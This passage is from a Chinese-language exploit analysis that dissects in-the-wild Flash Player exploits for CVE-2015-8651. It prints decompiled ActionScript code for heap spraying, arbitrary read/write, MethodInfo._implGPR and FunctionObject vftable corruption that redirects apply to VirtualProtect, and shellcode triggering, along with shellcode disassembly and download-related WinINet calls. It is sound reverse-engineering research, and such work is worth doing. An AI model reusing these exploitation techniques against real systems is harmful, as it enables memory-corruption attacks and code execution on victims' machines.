圖66  目標內存的頁屬性變成了可讀可執行

因此,攻擊者采用的策略就是利用ByteArray對象的分配函數來獲取特定大小的堆空間,并將其鏈接到freelists結構中,以便相應的堆內存能在周期性事件處理所調用的JIT生成器中被用到。通過這種方式,exploit還能將目標內存的頁面屬性從可讀寫轉變成可讀可執行。同時,由于在新的JIT空間初始化時,目標內存上的數據并沒有被初始化,所以在這種情況下,包含有shellcode的ByteArray對象內容不會從JIT空間中消失,后面這些shellcode將被用于代碼的執行。

此漏洞目前已經修復了,在JIT生成器重新使用freelists中的內存塊前,那些現有內存中的數據都將被初始化,這有效清除了偽造的freelists結構中寫入的shellcode,從而徹底杜絕這種攻擊方式。

5.2 MethodInfo._implGPR函數指針corruption

而在坊間發現的CVE-2015-8651利用樣本中則采用了MethodInfo._implGPR函數指針corruption的方法來實現利用,相關定義如下。

/**
* Base class for MethodInfo which contains invocation pointers. These
* pointers are private to the ExecMgr instance and hence declared here.
*/
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
  ...
 private:
  union {
    GprMethodProc _implGPR; <---
    FprMethodProc _implFPR;
    FLOAT_ONLY(VecrMethodProc _implVECR;)
  };

圖67  _implGPR函數指針的定義

當調用的JIT代碼返回時,此函數指針將被用到。

Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t *ap, MethodSignaturep ms)
{
  ...
  AvmCore* core = env->core();
  const int32_t bt = ms->returnTraitsBT();

  switch(bt){
  ...
  default:
  {
    STACKADJUST(); // align stack for 32-bit Windows and MSVC compiler
    const Atom i = (*env->method->_implGPR)(env, argc, ap);
    STACKRESTORE();
    ...

圖68  _implGPR函數會在JIT函數返回時被調用

為了實現_implGPR函數指針的corruption,此樣本首先借助CustomByteArray對象進行堆噴,此對象的聲明如下。

public class CustomByteArray extends ByteArray
{
  private static const _SafeStr_35:_SafeStr_10 = _SafeStr_10._SafeStr_36();
  public var _SafeStr_625:uint = 0xFFEEDD00;
  public var _SafeStr_648:uint = 4293844225;
  public var _SafeStr_629:uint = 0xF0000000;
  public var _SafeStr_631:uint = 0xFFFFFFFF;
  public var _SafeStr_633:uint = 0xFFFFFFFF;
  public var _SafeStr_635:uint = 0;
  public var _SafeStr_628:uint = 0xAAAAAAAA;
  public var _SafeStr_630:uint = 0xAAAAAAAA;
  public var _SafeStr_632:uint = 0xAAAAAAAA;
  public var _SafeStr_634:uint = 0xAAAAAAAA;
  public var _SafeStr_649:uint = 4293844234;
  public var _SafeStr_650:uint = 4293844235;
  public var _SafeStr_651:uint = 4293844236;
  public var _SafeStr_652:uint = 4293844237;
  public var _SafeStr_653:uint = 4293844238;
  public var _SafeStr_626:uint = 4293844239;
  public var _SafeStr_654:uint = 4293844240;
  public var _SafeStr_655:uint = 4293844241;
  public var _SafeStr_656:uint = 4293844242;
  public var _SafeStr_657:uint = 4293844243;
  public var _SafeStr_658:uint = 4293844244;
  public var _SafeStr_659:uint = 4293844245;
  public var _SafeStr_660:uint = 4293844246;
  public var _SafeStr_661:uint = 4293844247;
  public var _SafeStr_662:uint = 4293844248;
  public var _SafeStr_663:uint = 4293844249;
  public var _SafeStr_664:uint = 4293844250;
  public var _SafeStr_665:uint = 4293844251;
  public var _SafeStr_666:uint = 4293844252;
  public var _SafeStr_667:uint = 4293844253;
  public var _SafeStr_668:uint = 4293844254;
  public var _SafeStr_669:uint = 4293844255;
  public var _SafeStr_164:Object; <---
  private var _SafeStr_670:Number;
  ...
  private var _SafeStr_857:Number;
  private var static:Number;
  private var _SafeStr_858:Number;
  ...
  private var _SafeStr_891:Number;
  public function CustomByteArray(_arg_1:uint)
  {
    endian = _SafeStr_35.l[_SafeStr_35.Illl];
    this._SafeStr_164 = this;
    this._SafeStr_653 = _arg_1;
    return;
    return;
  }
}

圖69  CustomByteArray類的定義

成員變量_SafeStr_164是其中需要corrupt的對象,它會指向_SafeStr_16._SafeStr_340,而_SafeStr_340被定義為一個包含多個參數的靜態函數,不過其內部實現僅有一行代碼。

// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
public class _SafeStr_16
{
  ...
  private static function _SafeStr_340(... _args):uint <-- Corruption target method
  {
    return (0);
  }

圖70  需要corrupt的目標函數

此外,通過堆噴能夠保證CustomByteArray對象總會出現在地址0x0f4a0020處。

0:000> dd 0f4a0020 <-- CustomByteArray is allocated at predictable address
0f4a0020 595c5e54 20000006 1e0e3ba0 1e1169a0
0f4a0030 0f4a0038 00000044 595c5da4 595c5db8
0f4a0040 595c5dac 595c5dc0 067acca0 07501000
0f4a0050 0af19538 00000000 00000000 2e0b6278
0f4a0060 594f2b6c 0f4a007c 00000000 00000000
0f4a0070 595c5db0 00000003 00000001*ffeedd00* <-- Start of object member data (public var _SafeStr_625:uint = 0xFFEEDD00)
0f4a0080 ffeedd01 f0000000 ffffffff ffffffff
0f4a0090 00000000 50cefe43 5f3101bc 5f3101bc
0f4a00a0 a0cefe43 ffeedd0a ffeedd0b ffeedd0c
0f4a00b0 ffeedd0d 00000f85 ffeedd0f ffeedd10
0f4a00c0 ffeedd11 ffeedd12 ffeedd13 ffeedd14
0f4a00d0 ffeedd15 ffeedd16 ffeedd17 ffeedd18
0f4a00e0 ffeedd19 ffeedd1a ffeedd1b ffeedd1c
0f4a00f0 ffeedd1d ffeedd1e ffeedd1f*16e7f371* <-- public var _SafeStr_164:Object (points to _SafeStr_16._SafeStr_340 MethodClosure)
0f4a0100 e0000000 7fffffff e0000000 7fffffff
0f4a0110 e0000000 7fffffff e0000000 7fffffff
0f4a0120 e0000000 7fffffff e0000000 7fffffff
0f4a0130 e0000000 7fffffff e0000000 7fffffff
0f4a0140 e0000000 7fffffff e0000000 7fffffff
0f4a0150 e0000000 7fffffff e0000000 7fffffff
0f4a0160 e0000000 7fffffff e0000000 7fffffff
0f4a0170 e0000000 7fffffff e0000000 7fffffff

圖71  內存中dump的CustomByteArray對象

由上圖可知目標對象_SafeStr_164的地址是0x16e7f370=0x16e7f371&0xfffffffe,指針的傳遞就是從這里開始的,下述日志信息給出了此exploit查找MethodInfo._implGPR字段以及將該指針重寫為shellcode地址的過程。

* ReadInt: 0f4a00fc 16e7f371 <- CustomByteArray is at 0f4a0000
* ReadInt: 16e7f38c 068cdcb8 <- MethodClosure structure is at 16e7f370. Next pointer offset is 16e7f38c-16e7f370=1c.
* ReadInt: 068cdcc0 1e0b6270 <- MethodEnv structure is at 068cdcb8 . Next pointer offset is 068cdcc0-068cdcb8=8
* WriteInt: 1e0b6274 0b8cdcb0 (_SafeStr_340) -> 01fb0000 (Shellcode) <- Overwriting MethodInfo._impGPR pointer to shellcode location

圖72  查找并corrupt掉MethodInfo._implGPR字段

可以看到查找過程為:CustomByteArray(0x0f4a0020)._SafeStr_164 -> MethodClosure(0x16e7f370) -> MethodEnv(0x068cdcb8) -> MethodInfo (0x1e0b6270) -> MethodInfo._implGPR(0x1e0b6274)。

MethodInfo._implGPR函數指針(0x1e0b6274處)最初指向的地址是0x0b8cdcb0,相應的反匯編結果如下:

0b8cdcb0 55           push ebp
0b8cdcb1 8bec         mov ebp,esp
0b8cdcb3 90           nop
0b8cdcb4 83ec18       sub esp,18h
0b8cdcb7 8b4d08       mov ecx,dword ptr [ebp+8]
0b8cdcba 8d45f0       lea eax,[ebp-10h]
0b8cdcbd 8b1550805107 mov edx,dword ptr ds:[7518050h]
0b8cdcc3 894df4       mov dword ptr [ebp-0Ch],ecx
0b8cdcc6 8955f0       mov dword ptr [ebp-10h],edx
0b8cdcc9 890550805107 mov dword ptr ds:[7518050h],eax
0b8cdccf 8b1540805107 mov edx,dword ptr ds:[7518040h]
0b8cdcd5 3bc2         cmp eax,edx
0b8cdcd7 7305         jae 0b8cdcde
0b8cdcd9 e8c231604d   call Flash!IAEModule_IAEKernel_UnloadModule+0x1fd760 (58ed0ea0)
0b8cdcde 33c0         xor eax,eax
0b8cdce0 8b4df0       mov ecx,dword ptr [ebp-10h]
0b8cdce3 890d50805107 mov dword ptr ds:[7518050h],ecx
0b8cdce9 8be5         mov esp,ebp
0b8cdceb 5d           pop ebp
0b8cdcec c3           ret

圖73  _impGPR函數指針最初指向的內容

而修改后的MethodInfo._impGPR函數指針將會指向shellcode代碼,其反匯編結果如下:

01fb0000 60         pushad
01fb0001 e802000000 call 01fb0008
01fb0006 61         popad
01fb0007 c3         ret
01fb0008 e900000000 jmp 01fb000d
01fb000d 56         push esi
01fb000e 57         push edi
01fb000f e83b000000 call 01fb004f
01fb0014 8bf0       mov esi,eax
01fb0016 8bce       mov ecx,esi
01fb0018 e86f010000 call 01fb018c
01fb001d e88f080000 call 01fb08b1
01fb0022 33c9       xor ecx,ecx
01fb0024 51         push ecx
01fb0025 51         push ecx
01fb0026 56         push esi
01fb0027 05cb094000 add eax,4009CBh
01fb002c 50         push eax
01fb002d 51         push ecx
01fb002e 51         push ecx
01fb002f ff560c     call dword ptr [esi+0Ch]
01fb0032 8bf8       mov edi,eax
01fb0034 6aff       push 0FFFFFFFFh
01fb0036 57         push edi
01fb0037 ff5610     call dword ptr [esi+10h]
01fb003a 57         push edi
01fb003b ff5614     call dword ptr [esi+14h]
01fb003e 5f         pop edi
01fb003f 33c0       xor eax,eax
01fb0041 5e         pop esi
01fb0042 c3         ret

圖74  shellcode代碼

在完成MethodInfo._impGPR函數指針的corruption后,就可以調用_SafeStr_340上的call.apply或call.call方法閉包來觸發shellcode的執行。

private function _SafeStr_355(_arg_1:*)
{
  return (_SafeStr_340.call.apply(null, _arg_1));
}
private function _SafeStr_362()
{
  return (_SafeStr_340.call(null));
}

圖75  用于觸發shellcode執行的代碼

6 FunctionObject對象的corruption

對于FunctionObject對象的corruption已經是屢見不鮮了,那些源自Hacking Team的exploit(CVE-2015-0349, CVE-2015-5119, CVE-2015-5122, CVE-2015-5123)就很好的展示了相關技術。

以下是FunctionObject對象中AS3_call和AS3_apply方法的相關聲明。

class GC_AS3_EXACT(FunctionObject, ClassClosure)
{
  ...
  // AS3 native methods
  int32_t get_length();
  Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
  Atom AS3_apply(Atom thisAtom, Atom argArray);
  ...

圖76  AS3_call和AS3_apply方法的聲明

Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
  thisArg = get_coerced_receiver(thisArg);
  ...
  if (!AvmCore::isNullOrUndefined(argArray))
  {
    AvmCore* core = this->core();
    ...
    return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
  }

圖77  FunctionObject::AS3_apply的定義

/**
* Function.prototype.call()
*/
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
  thisArg = get_coerced_receiver(thisArg);
  return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}

圖78  FunctionObject::AS3_call的定義

如下定義了FunctionObject::AS3_call和FunctionObject::AS3_apply方法中用到的ExecMgr類。

class ExecMgr
{
  ...
  /** Invoke a function apply-style, by unpacking arguments from an array */
  virtual Atom apply(MethodEnv*, Atom thisArg, ArrayObject* a) = 0;
  /** Invoke a function call-style, with thisArg passed explicitly */
  virtual Atom call(MethodEnv*, Atom thisArg, int32_t argc, Atom* argv) = 0;

圖79  ExecMgr中apply和call的定義

代號DUBNIUM行動中CVE-2015-8651的利用樣本就借助了非常特殊的方式對FunctionObject對象進行corrupt,并通過其中的apply和call方法實現了shellcode的執行。此手法與15年7月Hacking Team事件中泄漏的利用方法非常相似。

package
{
  public class Trigger
  {
    public static function dummy(... _args):void
    {

    }
  }
}

圖80  Trigger類中定義的dummy方法

下述代碼說明了如何借助泄露的對象地址來獲取FunctionObject對象的vftable指針。

Trigger.dummy();
var _local_1:uint = getObjectAddr(Trigger.dummy);
var _local_6:uint = read32(((read32((read32((read32((_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04))); <- _local_6 holds address to FunctionObject vptr pointer
var _local_5:uint = read32(_local_6);

圖81  獲取FunctionObject對象的vftable指針

當然,這種計算偏移的方式有點死,其中用到的偏移量與Adobe Flash Player的內部數據結構以及這些結構在內存中的組織形式有關。

隨后,這個泄漏的vftable指針會被一個偽造指針所覆蓋,但除了將其中指向apply方法的指針用VirtualProtect函數地址替換外,指向的其余內容都是相同的。這樣,當此corrupt后的FunctionObject對象調用apply方法時,它實際上就會調用到VirtualProtect函數,所給參數指向了用于臨時保存shellcode的內存,通過這種方式可將其頁面屬性設成RWX(可讀/可寫/可執行)。

var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); // resolving kernel32!VirtualProtect address
if (!virtualProtectAddr)
{
  return (false);
};
var _local_3:uint = read32((_local_1 + 0x1C));
var _local_4:uint = read32((_local_1 + 0x20));

//Build fake vftable
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);
var _local_10:uint;
while (_local_10 < 0x0100)
{
  _local_9[_local_10] = read32(((_local_5 - 0x80) + (_local_10 * 0x04)));
  _local_10++;
};

//Replace vptr
_local_9[0x27] = virtualProtectAddr;
var _local_2:uint = getAddrUintVector(_local_9);
write32(_local_6, (_local_2 + 0x80)); // _local_6 holds the pointer to FunctionObject
write32((_local_1 + 0x1C), execMemAddr); // execMemAddr points to the shellcode memory
write32((_local_1 + 0x20), 0x1000);
var _local_8:Array = new Array(0x41);
Trigger.dummy.call.apply(null, _local_8); // call kernel32!VirtualProtect upon shellcode memory

圖82  虛之apply,實則VirtualProtect

以下是處理apply方法調用的反匯編代碼。

6cb92679 b000   mov al,0
6cb9267b 0000   add byte ptr [eax],al
6cb9267d 8b11   mov edx,dword ptr [ecx] <-- read corrupt vftable 07e85064
6cb9267f 83e7f8 and edi,0FFFFFFF8h
6cb92682 57     push edi
6cb92683 53     push ebx
6cb92684 50     push eax
6cb92685 8b4218 mov eax,dword ptr [edx+18h]
6cb92688 ffd0   call eax <-- Calls kernel32!VirtualProtect

圖83  讀取corrupt后的vftable指針

當exploit將0x6cb9267d指令處ecx所指向的vftable指針替換掉后,程序將轉而執行VirtualProtect調用,下述為覆蓋vftable指針時的日志信息。

WriteInt 07e85064 6d19a0b0 -> 080af90c  <-- Corrupt vftable pointer

圖84  覆蓋vftable指針

0:031> dds ecx
07e85064 080af90c <- pointer to vftable
07e85068 07e7a020
07e8506c 07e7a09c
07e85070 00000000
07e85074 00000000
07e85078 6d19cc70
07e8507c 651864fd

圖85  0x07e85064處的指針指向偽造的vftable結構

可以看到原先指向AS3_apply方法的函數指針此時指向的是VirtualProtect函數。

0:031> dds edx
080af90c 6cb72770
080af910 6cb72610
080af914 6cb73990
080af918 6cb73a10
080af91c 6cb9d490
080af920 6cd8b340
080af924 6cb73490
080af928 75dc4317 kernel32!VirtualProtect <-- corrupt vptr
080af92c 6cb72960
080af930 6cab4830
080af934 6cb73a50
...

圖86  偽造的vftable結構

在借助VirtualProtect函數完成shellcode所在頁的RWX屬性設置后,exploit將使用FunctionObject對象的call方法實現接下來的代碼執行,之所以不再使用apply方法是因為此過程不需要再傳遞任何參數了,并且調用call方法也更簡單。

Trigger.dummy();
var _local_2:uint = getObjectAddr(Trigger.dummy);
var functionObjectVptr:uint = read32(((read32((read32((read32((_local_2 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis* 0x04))); // Locate FunctionObject vptr pointer in memory
var _local_3:uint = read32(_local_4);
if ((((!((sc == null)))) && ((!((sc == execMem))))))
{
  execMem.position = 0x00;
  execMem.writeUnsignedInt((execMemAddr + 0x04));
  execMem.writeBytes(sc);
};
write32(functionObjectVptr, (execMemAddr - 0x1C)); // 0x1C is the call pointer offset in vptr
Trigger.dummy.call(null);

圖87  通過call方法來執行shellcode

此外,這個shellcode執行程序是高度模塊化的,甚至可以直接通過傳遞API函數名和參數的方式來讓shellcode執行所需的功能,這就使得shellcode的構建變得非常有擴展性。

_local_5 = _se.callerEx("WinINet!InternetOpenA", new <Object>["stilife", 0x01, 0x00, 0x00, 0x00]);
if (!_local_5)
{
  return (false);
};
_local_18 = _se.callerEx("WinINet!InternetOpenUrlA", new <Object>[_local_5, _se.BAToStr(_se.h2b(_se.urlID)), 0x00, 0x00, 0x80000000, 0x00]);
if (!_local_18)
{
  _se.callerEx("WinINet!InternetCloseHandle", new <Object>[_local_5]);
  return (false);
};

圖88  shellcode中的部分調用

在這個樣本中,shellcode不再是內存中一段連續的指令代碼了,而是由分散的各部分調用函數組成的,我們可以直接在實現ActionScript的native層代碼上設置斷點來跟蹤這些調用,例如,下述反匯編結果給出的是進行InternetOpenUrlA調用的那部分shellcode代碼。

* AS3 Call
08180024 b80080e90b mov eax,0BE98000h
08180029 94         xchg eax,esp
0818002a 93         xchg eax,ebx
0818002b 6800000000 push 0
08180030 6800000000 push 0
08180035 6800000000 push 0
0818003a 6801000000 push 1
0818003f 68289ed40b push 0BD49E28h
08180044 b840747575 mov eax,offset WININET!InternetOpenA (75757440) <- Call to WININET! InternetOpenA
08180049 ffd0       call eax
0818004b bf50eed40b mov edi,0BD4EE50h

圖89  調用InternetOpenUrlA的那部分shellcode

最后需要注意下,借助FunctionObject對象的corrupt來實現CFG保護的繞過只對Win10或Win8.1中的IE11有效,Win10中的Edge是不受影響的。

7 結論

在逆向Flash利用樣本的過程中我們并沒有被賦予太多的自由。首先,Flash Player本身是一個龐大的二進制項目,但卻沒有提供任何的符號文件給研究人員。 其次,很多與漏洞相關的邏輯實際上發生在AVM2的內部,這對研究人員來說是非常有問題的,因為目前并沒有太多的工具能用于SWF文件的插樁和調試。 我們的策略是從字節碼插樁開始并逐漸添加那些幫助性的代碼,這在Flash模塊或JIT層面的調試中可以選擇性的使用。另外,對那些ByteArray相關的代碼進行插樁能在很大程度上方便我們的調試,因為許多利用方式仍然會借助ByteArray對象的corruption來實現RW primitives功能。

我們還發現最近的exploit都將關注點放到了MMgc上,因為通過解析內存和遍歷對象可以達到訪問其內部數據結構的目的,而一旦樣本事先獲取了RW primitives,那么許多內部結構就很可能被用于實現代碼的執行,借助隨機化技術訪問MMgc的內部結構可能會降低漏洞利用的成功率。此外,一個明顯的事實是Flash漏洞在利用時不需要進行太多的堆噴,通常幾兆字節的堆噴就非常有效了,因為堆布局有時是非常容易進行預測的,近段以來,這種堆布局和堆地址的可預測性也被大量的exploit所利用。

8 附錄

分析樣本

CVE-ID SHA1 Discussed techniques
CVE-2015-0336 2ae7754c4dbec996be0bd2bbb06a3d7c81dc4ad7 vftable corruption
CVE-2015-5122 e695fbeb87cb4f02917e574dabb5ec32d1d8f787 Vector.length corruption
CVE-2015-7645 2df498f32d8bad89d0d6d30275c19127763d5568 ByteArray.length corruption
CVE-2015-8446 48b7185a5534731726f4618c8f655471ba13be64 GCBlock structure abuse, JIT stack corruption
CVE-2015-8651 (DUBNIUM) c2cee74c13057495b583cf414ff8de3ce0fdf583 FunctionObject corruption
CVE-2015-8651 (Angler) 10c17dab86701bcdbfc6f01f7ce442116706b024 MethodInfo._implGPR corruption
CVE-2016-1010 6fd71918441a192e667b66a8d60b246e4259982c ConvolutionFilter.matrix to tabStops type-confusion, MMgc parsing, JIT stack corruption

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/224/